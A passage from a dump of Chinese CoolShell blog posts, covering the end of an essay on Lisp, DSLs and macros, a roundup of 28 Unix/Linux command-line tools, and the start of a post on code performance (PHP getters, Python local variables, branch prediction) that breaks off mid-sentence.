上面两个小例子我们可以感受到，LOP是一种面向领域的，高度声明式的编程方式，它的抽象维度与领域模型的维度完全一致。LOP能让程序员从复杂的实现细节中解脱出来，把关注点集中在问题的本质上，从而提高编程的效率和质量。\n\n\n接下来的问题是如果需要为某领域设计DSL，我们是应该发明一门类似SQL这样的专用DSL呢，还是用XML或S表达式去定义DSL呢？它们各有何优缺点呢？\n\n\n我认为采用XML或S表达式定义DSL的优点主要有：1) SQL、make file、CSS等专用DSL都只能面向各自的领域，而一个实际的领域问题通常是跨越多个领域的，有时我们需要将不同领域融合在一起，但是由于普通语言的刚性，多语言融合通常会是一件非常困难的事情，而XML和S表达式语法结构的单一性和“代码及数据”的特点使得跨领域融合毫无障碍。2) 在为DSL开发编译器或解释器的方面，二者难度不同。对XML和S表达式定义的DSL进行语法分析非常简单，相比之下，对SQL这样的专用DSL进行语法分析，虽然可以借助Lex、Yacc、ANTLR等代码生成工具，但总的来讲复杂度还是要明显高一些。\n\n\n当然，XML和S表达式的优点也正好是其缺点，由于XML和S表达式的语法形式是固定的，不能像专用DSL那样自由地设计语法。所以，一般来讲专用DSL的语法显得更加简洁。换句话说，XML和Lisp其实是在语法和语义间做了一个交换，用语法的限制换来了语义的灵活。\n\n\n#### Lisp之器\n\n\n接下来我们继续探讨DSL的解释执行问题。DSL代码的解释执行一般分为3种典型的方式：1) 通过专门的解释器解释执行；2) 编译生成其他语言的代码，再通过其他语言的解释器解释执行(或编译运行)；3) 自解释。比如，第1类的代表是SQL，上一节举的两个例子都属于第2类，而第3类自解释正是Lisp的特色。\n\n\n为了理解自解释，我们可以先从内部DSL的解释执行说起。内部DSL是指嵌入在宿主语言中的DSL，比如，Google Test单元测试框架定义了一套基于流畅接口(Fluent Interface)的C++单元测试DSL。从语义构造的角度看，内部DSL直接借用宿主语言的语法定义了自己的领域语义，是一种语法和语义解耦；从解释执行的角度看，内部DSL是随宿主语言的解释器而自动解释的，不需要像外部DSL一样开发专门的解释器，因而实现的代价很低。当然，并不是说设计内部DSL不用关心任何的解释实现，实际上，还是需要熟悉宿主语言的特性，并利用该特性使得DSL能随着宿主语言的解释器得到解释执行。\n\n\nLisp拥有强大的自解释特性，这得益于独一无二的**Lisp之器：宏 (macro)**。宏使得Lisp编写的DSL可以被Lisp解释器直接解释执行，这在原理上与内部DSL是相通的，只是内部DSL一般是利用宿主语言的链式调用等特性，通常形式简陋，功能有限，而Lisp的宏则要强大和灵活得多。\n\n\nC语言中也有宏的概念，不过Lisp的宏与C语言的宏完全不同，C语言的宏是简单的字符串替换。比如，下面的宏定义：\n\n\n\n```\n\n#define square(x) (x*x)\n\n```\n\nsquare(1+1)的期望结果是4，而实际上它会被替换成(1+1\\*1+1)，结果是3。这个例子说明，C语言的宏只在预编译阶段进行简单的字符串替换，对程序语法结构缺乏理解，非常脆弱。Lisp的宏不是简单的字符串替换，而是一套完整的代码生成系统，它是在语法解析的基础上把Lisp代码从一种形式转换为另一种形式，本质上起到了普通语言编译器的作用。不同的是，普通编译器是把一种语言的代码转换为另一种语言的代码，比如，Java编译器把Java代码转换成Java字节码；而Lisp宏的输入和输出都是S表达式，它本质上是把一种DSL转换为另一种DSL。下面的例子是宏的一个典型用法。\n\n\n例3：假设Lisp解释器已经具备解释执行面向过程DSL的能力，需要实现类似ant的自动化构建工具。\n\n\n我们可以基于宏构建一门类ant的DSL，宏的作用是把类ant DSL通过宏展开变成面向过程的DSL，最后被Lisp解释器所解释执行。这样用Lisp编写的ant DSL就不需要被编译为其他语言，也不需要像XML的ant一样依赖于专门的解释器了。\n\n\n当然，和开发专门的解释器/编译器相比，Lisp的宏也并非没有缺点，宏难以理解，开发和调试更加困难。到底是开发专门的解释器/编译器还是直接采用宏应该视具体情况而定。\n\n\n#### 总结\n\n\nLisp采用单一的S表达式语法表达不同的语义，实现了语法和语义解耦。这使得Lisp具有强大的语义构造能力，擅长于构造DSL实现面向语言编程，而宏使得Lisp具有自解释能力，让不同DSL之间的转换游刃有余。进入Lisp的世界应当从理解面向语言编程入门，这是Lisp之道，而函数式编程和宏皆为Lisp之器，以道驭器方为正途。\n\n\n#### 后记\n\n\n本文是我学习Lisp的一个总结，也是写给有兴趣学习Lisp的程序员的入门资料。必须说明，我还是一个标准的Lisp初学者，几乎没有写过像样的Lisp程序，文中的错误和不足在所难免，希望读者批评指正，感谢！\n\n\n#### 参考\n\n\n[The Roots of Lisp](http://www.paulgraham.com/rootsoflisp.html)\n\n\n[The Nature of Lisp](http://www.defmacro.org/ramblings/lisp.html)\n\n\n[Why Lisp macros are cool, a Perl perspective](http://lists.warhead.org.uk/pipermail/iwe/2005-July/000130.html)\n\n\n[Wikipedia: Language-oriented programming](http://en.wikipedia.org/wiki/Language-oriented_programming)\n\n\n[《实用Common Lisp编程》](http://book.douban.com/subject/6859720/)\n\n\n[《冒号课堂 – 编程范式与OOP思想》](http://book.douban.com/subject/4031906/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [![计算机专业学生的大学生活](../wp-content/uploads/2011/03/4kQAz-150x150.jpg)](https://coolshell.cn/articles/3928.html)[计算机专业学生的大学生活](https://coolshell.cn/articles/3928.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](https://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/19.html)[时间1234567890](https://coolshell.cn/articles/19.html)\nThe post [Lisp的永恒之道](https://coolshell.cn/articles/7526.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-7-11 28个Unix_Linux的命令行神器.md",
    "content": "---\nlayout: post\ntitle: 28个Unix/Linux的命令行神器\ndate: 2012/7/11/ 0:10:11\nupdated: 2012/7/11/ 0:10:11\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是[Kristóf Kovács](http://kkovacs.eu/)收集的28个Unix/Linux下的28个命令行下的工具（[原文链接](http://kkovacs.eu/cool-but-obscure-unix-tools)），有一些是大家熟悉的，有一些是非常有用的，有一些是不为人知的。这些工具都非常不错，希望每个人都知道。本篇文章还在[Hacker News上被讨论](http://news.ycombinator.com/item?id=2567186)，你可以过去看看。我以作者的原文中加入了官网链接和一些说明。\n\n\n\n#### dstat & sar\n\n\niostat, vmstat, ifstat 三合一的工具，用来查看系统性能（我在《[性能调优攻略](https://coolshell.cn/articles/7490.html \"性能调优攻略\")》中提到过那三个xxstat工具）。\n\n\n官方网站：<http://dag.wieers.com/rpm/packages/dstat/>\n\n\n你可以这样使用：\n\n\n`alias dstat='dstat -cdlmnpsy'`\n\n\n\n![dstat screenshot](../wp-content/uploads/2012/07/dstat_screenshot.png)\n\n\n#### slurm\n\n\n\n查看网络流量的一个工具\n\n\n官方网站：*[Simple Linux Utility for Resource Management](https://computing.llnl.gov/linux/slurm/)*\n\n\n\n\n![slurm screenshot](../wp-content/uploads/2012/07/slurm_screenshot.png)\n\n\n\n\n\n\n#### vim & emacs\n\n\n真正程序员的代码编辑器。\n\n\n\n![vim screenshot](../wp-content/uploads/2012/07/vim_screenshot.png)\n\n\n\n\n\n\n#### screen, dtach, tmux, byobu\n\n\n你是不是经常需要 SSH 或者 telent 远程登录到 Linux 服务器？你是不是经常为一些长时间运行的任务而头疼，比如系统备份、ftp 传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端窗口，因为他们执行的时间太长了。必须等待它执行完毕，在此期间可不能关掉窗口或者断开连接，否则这个任务就会被杀掉，一切半途而废了。\n\n\n[**Screen**](http://www.gnu.org/software/screen/)是一个可以在多个进程之间多路复用一个物理终端的窗口管理器。Screen中有会话的概念，用户可以在一个screen会话中创建多个screen窗口，在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。请参看IBM DeveloperWorks的这篇文章《[使用 screen 管理你的远程会话](http://www.ibm.com/developerworks/cn/linux/l-cn-screen/)》\n\n\n![gnu screen screenshot](../wp-content/uploads/2012/07/gnu_screen_screenshot.png)\n\n\n[**dtach**](http://dtach.sourceforge.net/) 是用来模拟screen的detach的功能的小工具，其可以让你随意地attach到各种会话上 。下图为dtach+dvtm的样子。\n\n\n![](../wp-content/uploads/2012/07/dtach+dvtm.png \"dtach+dvtm\")\n\n\n**[tmux](http://tmux.sourceforge.net/ \"http://tmux.sourceforge.net/\")**是一个优秀的终端复用软件，类似[GNU Screen](http://www.gnu.org/software/screen/ \"http://www.gnu.org/software/screen/\")，但来自于OpenBSD，采用BSD授权。使用它最直观的好处就是，通过一个终端登录远程主机并运行tmux后，在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机；当然其功能远不止于此。与screen相比的优点：可以横向和纵向分割窗口，且窗格可以自由移动和调整大小。可在多个缓冲区进行复制和粘贴，支持跨窗口搜索；非正常断线后不需重新detach；……  有人说——**与tmux相比，screen简直弱爆了**。\n\n\n![](../wp-content/uploads/2012/07/tmux3.png \"tmux\")\n\n\n\n[**byobu**](https://launchpad.net/byobu/)是Ubuntu开发的，在Screen的基础上进行包装，使其更加易用的一个工具。最新的Byobu，已经是基于Tmux作为后端了。可通过“byobu-tmux”这个命令行前端来接受各种与tmux一模一样的参数来控制它。Byobu的细节做的非常好，效果图如下：![](../wp-content/uploads/2012/07/byobu-tmux.jpg \"byobu-tmux\")\n\n\n\n\n\n\n#### multitail\n\n\nMultiTail是个用来实现同时监控多个文档、类似tail命令的功能的软件。他和tail的区别就是他会在控制台中打开多个窗口，这样使同时监控多个日志文档成为可能。他还可以看log文件的统计，合并log文件，过滤log文件，分屏，……。\n\n\n官网：<http://www.vanheusden.com/multitail/>\n\n\n\n![multitail screenshot](../wp-content/uploads/2012/07/multitail_screenshot.png)\n\n\n\n\n\n\n#### tpp\n\n\n终端下的PPT，要是在某某大会上用这个演示PPT，就太TMD的Geek了。\n\n\n官网：<http://www.ngolde.de/tpp.html>\n\n\n\n![tpp screenshot](../wp-content/uploads/2012/07/tpp_screenshot.png)\n\n\n\n\n\n\n#### xargs & parallel\n\n\nExecutes tasks from input (even multithread).\n\n\nxargs 是一个比较古老的命令，有简单的并行功能，这个不说了。对于[GNU parallel](http://www.gnu.org/software/parallel/) ( [online manpage](http://savannah.gnu.org/projects/parallel) )来说，它不仅能够处理本机上多执行绪，还能分散至远端电脑协助处理。而使用GNU parallel前，要先确定本机有安装GNU parallel / ssh / rsync，远端电脑也要安装ssh。\n\n\n\n![xargs screenshot](../wp-content/uploads/2012/07/xargs_screenshot.png)\n\n\n\n\n\n\n#### duplicity & rsyncrypto\n\n\n[Duplicity](http://duplicity.nongnu.org/)是使用rsync算法加密的高效率备份软件，Duplicity支持目录加密生产和格式上传到远程或本地文件服务器。\n\n\n[rsyncrypto](http://rsyncrypto.lingnu.com/index.php/Home_Page) 就是 rsync + encryption。对于rsync的算法可参看酷壳的[rsync核心算法](https://coolshell.cn/articles/7425.html \"rsync 的核心算法\")。\n\n\nEncrypting backup tools.\n\n\n\n![duplicity screenshot](../wp-content/uploads/2012/07/duplicity_screenshot.png)\n\n\n\n\n\n\n#### nethack & slash’em\n\n\n[NetHack](http://www.nethack.org/)（[Wiki](http://zh.wikipedia.org/zh/NetHack)），20年历史的古老电脑游戏。没有声音，没有漂亮的界面，不过这个游戏真的很有意思。网上有个家伙说：**如果你一生只做一件事情，那么玩NetHack**。这句话很惹眼，但也让人觉得这个游戏很复杂不容易上手。其实，这个游戏很虽然很复杂，却容易上手。虽然玩通关很难，但上手很容易。NetHack上有许多复杂的规则，”the DevTeam thinks of everything”（开发团队想到了所有的事情)。各种各样的怪物，各种各样的武器….，有许多spoilers文件来说明其规则。除了每次开始随机生成的地图，每次玩游戏，你也都会碰到奇怪的事情: 因为喝了一种药水，变成了机器人;因为踢坏了商店的门被要求高价赔偿;你的狗为你偷来了商店的东西….. 这有点象人生，你不能完全了解这个世界，但你仍然可以选择自己的面对方式。\n\n\n网上有许多文章所这是最好的电脑游戏或最好的电脑游戏之一。也许是因为它开放的源代码让人赞赏，古老的历史让人宽容，复杂的规则让人敬畏。虽然它不是当前流行的游戏，但它比任何一个当前流行的游戏都更有可能再经受20年的考验。\n\n\n[Slash’EM](http://www.slashem.org) 也是一个基于NetHack的经典游戏。\n\n\n\n![nethack screenshot](../wp-content/uploads/2012/07/nethack_screenshot.png)\n\n\n\n\n\n\n#### lftp\n\n\n利用[lftp](http://lftp.yar.ru/)命令行ftp工具进行网站数据的增量备份，镜像，就像使用rsync一样。\n\n\n\n![lftp screenshot](../wp-content/uploads/2012/07/lftp_screenshot.png)\n\n\n\n\n\n\n#### ack\n\n\n[ack](http://betterthangrep.com/)是一个perl脚本，是grep的一个可选替换品。其可以对匹配字符有高亮显示。是为程序员专门设计的，默认递归搜索，省提供多种文件类型供选。\n\n\n\n![ack screenshot](../wp-content/uploads/2012/07/ack_screenshot.png)\n\n\n\n\n\n\n#### calcurse & remind + wyrd\n\n\n[calcurse](http://calcurse.org/)是一个命令行下的日历和日程软件。[remind](http://www.roaringpenguin.com/products/remind) + [wyrd](http://pessimization.com/software/wyrd/)也很类似。关于日历，我不得不提一个[Linux的Cycle日历](https://coolshell.cn/articles/3489.html \"Linux的cycle日历（你懂的）\")，也是一个神器，呵呵。\n\n\n\n![calcurse screenshot](../wp-content/uploads/2012/07/calcurse_screenshot.png)\n\n\n\n\n\n\n#### newsbeuter & rsstail\n\n\n[newsbeuter](http://newsbeuter.org/)和 [rsstail](http://www.vanheusden.com/rsstail/) 是命令行下RSS的阅读工具。\n\n\n\n![newsbeuter screenshot](../wp-content/uploads/2012/07/newsbeuter_screenshot.png)\n\n\n\n\n\n\n#### powertop\n\n\n[做个环保的程序员](https://coolshell.cn/articles/7186.html \"做个环保主义的程序员\")，看看自己的电脑里哪些程序费电。[PowerTOP](https://01.org/powertop/) 是一个让 Intel 平台的笔记本电脑节省电源的 Linux 工具。此工具由 Intel 公司发布。它可以帮助用户找出那些耗电量大的程序，通过修复或者关闭那些应用程序或进程，从而为用户节省电源。\n\n\n\n![powertop screenshot](../wp-content/uploads/2012/07/powertop_screenshot.png)\n\n\n\n\n\n\n\n\n#### htop & iotop\n\n\n[htop](http://htop.sourceforge.net/) 和 [iotop](http://guichaz.free.fr/iotop/)  用来查看进程，内存和IO负载。\n\n\n\n![htop screenshot](../wp-content/uploads/2012/07/htop_screenshot.png)\n\n\n\n#### ttyrec & ipbt\n\n\n[ttyrec](http://0xcc.net/ttyrec/index.html.en) 是一个 tty 控制台录制程序，其所录制的数据文件可以使用与之配套的 ttyplay 播放。不管是你在 tty 中的各种操作，还是在 tty 中耳熟能详的软件，都可进行录制。\n\n\n[ipbt](http://www.chiark.greenend.org.uk/~sgtatham/ipbt/) 是一个用来回放 ttyrec 所录制的控制台输入过程的工具。\n\n\n与此类似的还有[Shelr](http://shelr.tv/) 和 [termrec](http://sourceforge.net/projects/termrec/)\n\n\n\n![ipbt screenshot](../wp-content/uploads/2012/07/ipbt_screenshot.png)\n\n\n\n\n\n\n#### rsync\n\n\n通过SSH进行文件同步的经典工具（[核心算法](https://coolshell.cn/articles/7425.html \"rsync 的核心算法\")）\n\n\n\n![rsync screenshot](../wp-content/uploads/2012/07/rsync_screenshot.png)\n\n\n\n\n\n\n#### mtr\n\n\n[MTR](http://www.bitwizard.nl/mtr/) – traceroute 2.0，其是把 traceroute 和 ping 集成在一块的一个小工具 用于诊断网络。\n\n\n\n![mtr screenshot](../wp-content/uploads/2012/07/mtr_screenshot.png)\n\n\n\n\n\n\n#### socat & netpipes\n\n\n[socat](http://www.dest-unreach.org/socat/)是一个多功能的网络工具，名字来由是” Socket CAT”，可以看作是netcat的N倍加强版。\n\n\n[netpipes](http://web.purplefrog.com/~thoth/netpipes/) 和socat一样，主要是用来在命令行来进行socket操作的命令，这样你就可以在Shell脚本下行进socket网络通讯了。\n\n\n\n![socat screenshot](../wp-content/uploads/2012/07/socat_screenshot.png)\n\n\n\n\n\n\n#### iftop & iptraf\n\n\n[iftop](http://www.ex-parrot.com/~pdw/iftop/)和[iptraf](http://iptraf.seul.org/)可以用来查看当前网络链接的一些流量情况。\n\n\n\n![iftop screenshot](../wp-content/uploads/2012/07/iftop_screenshot.png)\n\n\n![](../wp-content/uploads/2012/07/iptraf-tcpudp.gif \"iptraf-tcpudp\")\n\n\n\n\n\n\n#### siege & tsung\n\n\n[Siege](http://www.joedog.org/siege-home/)是一个压力测试和评测工具，设计用于WEB开发这评估应用在压力下的承受能力：可以根据配置对一个WEB站点进行多用户的并发访问，记录每个用户所有请求过程的相应时间，并在一定数量的并发访问下重复进行。\n\n\n[Tsung](http://tsung.erlang-projects.org/) 是一个压力测试工具，可以测试包括HTTP, WebDAV, PostgreSQL, MySQL, LDAP, and XMPP/Jabber等服务器。针对 HTTP 测试，Tsung 支持 HTTP 1.0/1.1 ，包含一个代理模式的会话记录、支持 GET、POST 和 PUT 以及 DELETE 方法，支持 Cookie 和基本的 WWW 认证，同时还支持 SSL。\n\n\n参看：[十个免费的Web压力测试工具](https://coolshell.cn/articles/2589.html \"十个免费的Web压力测试工具\")\n\n\n\n![siege screenshot](../wp-content/uploads/2012/07/siege_screenshot.png)\n\n\n\n\n\n\n#### ledger\n\n\n[ledger](http://ledger-cli.org/) 一个命令行下记帐的小工具。\n\n\n\n![ledger screenshot](../wp-content/uploads/2012/07/ledger_screenshot.png)\n\n\n\n\n\n\n#### taskwarrior\n\n\n[TaskWarrior](http://taskwarrior.org/projects/show/taskwarrior) 是一个基于命令行的 TODO 列表管理工具。主要功能包括：标签、彩色表格输出、报表和图形、大量的命令、底层API、多用户文件锁等功能。\n\n\n\n![taskwarrior screenshot](../wp-content/uploads/2012/07/taskwarrior_screenshot.png)\n\n\n下图是TaskWarrior 2.0的界面：\n\n\n![](../wp-content/uploads/2012/07/TaskWarrior2.0.png \"TaskWarrior2.0\")\n\n\n\n\n\n\n#### curl\n\n\n[cURL](http://curl.haxx.se/)是一个利用URL语法在命令行下工作的文件传输工具，1997年首次发行。它支持文件上传和下载，所以是综合传输工具，但按传统，习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。cURL支援的通訊協定有FTP、FTPS、HTTP、HTTPS、TFTP、SFTP、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和RTSP。\n\n\n\n![curl screenshot](../wp-content/uploads/2012/07/curl_screenshot.png)\n\n\n\n\n\n\n#### rtorrent & aria2\n\n\n[rTorrent](http://libtorrent.rakshasa.no/) 是一个非常简洁、优秀、非常轻量的BT客户端. 它使用了 ncurses 库以 C++ 编写, 因此它完全基于文本并在终端中运行. 将 rTorrent 用在安装有 GNU Screen 和 Secure Shell 的低端系统上作为远程的 BT 客户端是非常理想的。\n\n\n[aria2](http://aria2.sourceforge.net/) 是 Linux 下一个不错的高速下载工具。由于它具有分段下载引擎，所以支持从多个地址或者从一个地址的多个连接来下载同一个文件。这样自然就大大加快了文件的下载速度。aria2 也具有断点续传功能，这使你随时能够恢复已经中断的文件下载。除了支持一般的 http(s) 和 ftp 协议外，aria2 还支持 BitTorrent 协议。这意味着，你也可以使用 aria2 来下载 torrent 文件。\n\n\n\n ![rtorrent screenshot](../wp-content/uploads/2012/07/rtorrent_screenshot.png)\n\n\n\n#### ttytter & earthquake\n\n\n[TTYtter](http://www.floodgap.com/software/ttytter) 是一个Perl写的命令行上发Twitter的工具，可以进行所有其他平台客户端能进行的事情，当然，支持中文。脚本控、CLI控、终端控、Perl控的最愛。\n\n\n[Earthquake](https://github.com/jugyo/earthquake)也是一个命令行上的Twitter客户端。\n\n\n\n![ttytter screenshot](../wp-content/uploads/2012/07/ttytter_screenshot.png)\n\n\n![](../wp-content/uploads/2012/07/earthquake.jpg \"earthquake\")\n\n\n\n\n\n\n#### vifm & ranger\n\n\n[Vifm](http://vifm.sourceforge.net/) 基于ncurses的文件管理器，DOS风格，用键盘操作。\n\n\n![vifm screenshot](../wp-content/uploads/2012/07/vifm_screenshot.png)\n\n\n[Ranger](http://savannah.nongnu.org/projects/ranger)用 Python 完成，默认为使用 Vim 风格的按键绑定，比如 hjkl（上下左右），dd（剪切），yy（复制）等等。功能很全，扩展/可配置性也非常不错。类似MacOS X下Finder（文件管理器）的多列文件管理方式。支持多标签页。实时预览文本文件和目录。\n\n\n\n![](../wp-content/uploads/2012/07/ranger.png \"ranger\")\n\n\n\n#### cowsay & sl\n\n\n[cowsay](http://www.nog.net/~tony/warez/cowsay.shtml) 不说了，如下所示，哈哈哈。还有xcowsay，你可以自己搜一搜。\n\n\n\n![cowsay screenshot](../wp-content/uploads/2012/07/cowsay_screenshot.png)\n\n\n sl是什么？ls？，呵呵，你会经常把ls 打成sl吗？如果是的话，这个东西可以让你娱乐一下，你会看到一辆火车呼啸而过~~，相当拉风。你可以使用sudo apt-get install sl 安装。\n\n\n![](../wp-content/uploads/2012/07/sl.jpg \"sl\")\n\n\n最后，再介绍一个命令中linuxlogo，你可以使用 sudo apt-get install linuxlogo来安装，然后，就可以使用linuxlogo -L  \n\n来看一下各种Linux的logo了\n\n\n![](../wp-content/uploads/2012/07/linuxlogo.jpg \"linuxlogo\")\n\n\n（全文完）\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![sed 简明教程](../wp-content/uploads/2013/02/sed-superman-150x150.png)](https://coolshell.cn/articles/9104.html)[sed 简明教程](https://coolshell.cn/articles/9104.html)\nThe post [28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-7-13 代码执行的效率.md",
    "content": "---\nlayout: post\ntitle: 代码执行的效率\ndate: 2012/7/13/ 0:18:32\nupdated: 2012/7/13/ 0:18:32\nstatus: publish\npublished: true\ntype: post\n---\n\n在《[性能调优攻略](https://coolshell.cn/articles/7490.html \"性能调优攻略\")》里，我说过，要调优性需要找到程序中的Hotspot，也就是被调用最多的地方，这种地方，只要你能优化一点点，你的性能就会有质的提高。在这里我给大家举三个关于代码执行效率的例子（它们都来自于网上）\n\n\n#### **第一个例子**\n\n\n **PHP中Getter和Setter的效率**（[来源reddit](http://www.reddit.com/r/programming/comments/wdsgn/today_i_learned_that_creating_getters_setters_in/)）\n\n\n这个例子比较简单，你可以跳过。\n\n\n考虑下面的PHP代码：我们可看到，使用Getter/Setter的方式，性能要比直接读写成员变量要差一倍以上。\n\n\n\n```\n<?php\n\t//dog_naive.php\n\n\tclass dog {\n\t\tpublic $name = \"\";\n\t\tpublic function setName($name) {\n\t\t\t$this-&gt;name = $name;\n\t\t}\n\t\tpublic function getName() {\n\t\t\treturn $this-&gt;name;\n\t\t}\n\t}\n\n\t$rover = new dog();\n        //通过Getter/Setter方式\n\tfor ($x=0; $x<10; $x++) {\n\t\t$t = microtime(true);\n\t\tfor ($i=0; $i<1000000; $i++) {\n\t\t\t$rover->setName(\"rover\");\n\t\t\t$n = $rover->getName();\n\t\t}\n\t\techo microtime(true) - $t;\n\t\techo \"\\n\";\n\t}\n        //直接存取变量方式\n        for ($x=0; $x<10; $x++) {\n\t\t$t = microtime(true);\n\t\tfor($i=0; $i<1000000; $i++) {\n\t\t\t$rover->name = \"rover\";\n\t\t\t$n = $rover->name;\n\t\t}\n\t\techo microtime(true) - $t;\n\t\techo \"\\n\";\n\t}\n?>\n```\n\n这个并没有什么稀，因为有函数调用的开销，函数调用需要压栈出栈，需要传值，有时还要需要中断，要干的事太多了。所以，代码多了，效率自然就慢了。所有的语言都这个德行，这就是为什么C++要引入inline的原因。而且Java在打开优化的时候也可以优化之。但是对于动态语言来说，这个事就变得有点困难了。\n\n\n\n你可能会以为使用下面的代码（Magic Function）会好一些，但实际其性能更差。\n\n\n\n```\nclass dog {\n\tprivate $_name = \"\";\n\tfunction __set($property,$value) {\n\t\tif($property == 'name') $this->_name = $value;\n\t}\n\tfunction __get($property) {\n\t\tif($property == 'name') return $this->_name;\n\t}\n}\n```\n\n动态语言的效率从来都是一个问题，如果你需要PHP有更好的性能，你可能需要使用[FaceBook的HipHop](https://github.com/facebook/hiphop-php)来把PHP编译成C语言。\n\n\n#### **第二个例子**\n\n\n**为什么Python程序在函数内执行得更快？**（[来源StackOverflow](http://stackoverflow.com/questions/11241523/why-does-python-code-run-faster-in-a-function)）\n\n\n考虑下面的代码，一个在函数体内，一个是全局的代码。\n\n\n函数内的代码执行效率为 1.8s\n\n\n\n```\ndef main():\n    for i in xrange(10**8):\n        pass\nmain()\n```\n\n函数体外的代码执行效率为 4.5s\n\n\n\n```\nfor i in xrange(10**8):\n    pass\n```\n\n不用太纠结时间，只是一个示例，我们可以看到效率查得很多。为什么会这样呢？我们使用 [`dis` module](http://docs.python.org/library/dis.html) 反汇编函数体内的bytecode 代码，使用 [`compile` builtin](http://docs.python.org/library/functions.html#compile) 反汇编全局bytecode，我们可以看到下面的反汇编（注意我高亮的地方）\n\n\n\n```\n\n13 FOR_ITER                 6 (to 22)\n16 STORE_FAST               1 (i)\n19 JUMP_ABSOLUTE           13\n```\n\n\n```\n\n13 FOR_ITER                 6 (to 22)\n16 STORE_NAME               1 (i)\n19 JUMP_ABSOLUTE           13\n```\n\n我们可以看到，差别就是 [`STORE_FAST`](http://docs.python.org/library/dis.html#opcode-STORE_FAST) 和 `[STORE\\_NAME](http://docs.python.org/library/dis.html#opcode-STORE_NAME)，前者比后者快很多。所以，在全局代码中，变量i成了一个全局变量，而函数中的i是放在本地变量表中，所以在全局变量表中查找变量就慢很多。如果你在main函数中声明global i 那么效率也就下来了。`原因是，本地变量是存在一个数组中（直到），用一个整型常量去访问，而全局变量存在一个dictionary中，查询很慢。\n\n\n`（注：在`C/C++中，这个不是一个问题）\n\n\n#### **第三个例子**\n\n\n **为什么排好序的数据在遍历时会更快？**（[来源StackOverflow](http://stackoverflow.com/questions/11227809/why-is-processing-a-sorted-array-faster-than-an-unsorted-array)）\n\n\n参看如下C/C++的代码：\n\n\n\n```\n for (unsigned i = 0; i < 100000; ++i) {\n   // primary loop\n    for (unsigned j = 0; j < arraySize; ++j) {\n        if (data[j] >= 128)\n            sum += data[j];\n    }\n}\n```\n\n如果你的data数组是排好序的，那么性能是1.93s，如果没有排序，性能为11.54秒。差5倍多。无论是C/C++/Java，或是别的什么语言都基本上一样。\n\n\n这个问题的原因是——**[branch prediction](http://en.wikipedia.org/wiki/Branch_predictor) （分支预判）**伟大的stackoverflow给了一个非常不错的解释。\n\n\n考虑我们一个铁路分叉，当我们的列车来的时候， 扳道员知道分个分叉通往哪，但不知道这个列车要去哪儿，司机知道要去哪，但是不知道走哪条分叉。所以，我们需要让列车停下来，然后司机和扳道员沟通一下。这样的性能太差了。\n\n\n所以，我们可以优化一下，那就是猜，我们至少有50%的概率猜对，如果猜对了，火车行驶性能巨高，猜错了，就得让火车退回来。如果我猜对的概率高，那么，我们的性能就会高，否则老是猜错了，性能就很差。\n\n\n![](../wp-content/uploads/2012/07/muxnt.jpg \"muxnt\")\n\n\nImage by Mecanismo, from Wikimedia Commons:<http://commons.wikimedia.org/wiki/File:Entroncamento_do_Transpraia.JPG>\n\n\n我们的if-else 就像这个铁路分叉一样，下面红箭头所指的就是搬道器。\n\n\n![](../wp-content/uploads/2012/07/pyfwC.png \"pyfwC\")\n\n\n那么，我们的搬道器是怎么预判的呢？就是使用过去的历史数据，如果历史数据有90%以上的走左边，那么就走左边。所以，我们排好序的数据就更容易猜得对。\n\n\n\n```\nT = 走分支（条件表达式为true）\nN = 不走分支(条件表达式为false)\n\ndata[] = 0, 1, 2, 3, 4, ... 126, 127, 128, 129, 130, ... 250, 251, 252, ...\nbranch = N  N  N  N  N  ...   N    N    T    T    T  ...   T    T    T  ...\n\n= NNNNNNNNNNNN ... NNNNNNNTTTTTTTTT ... TTTTTTTTTT  (easy to 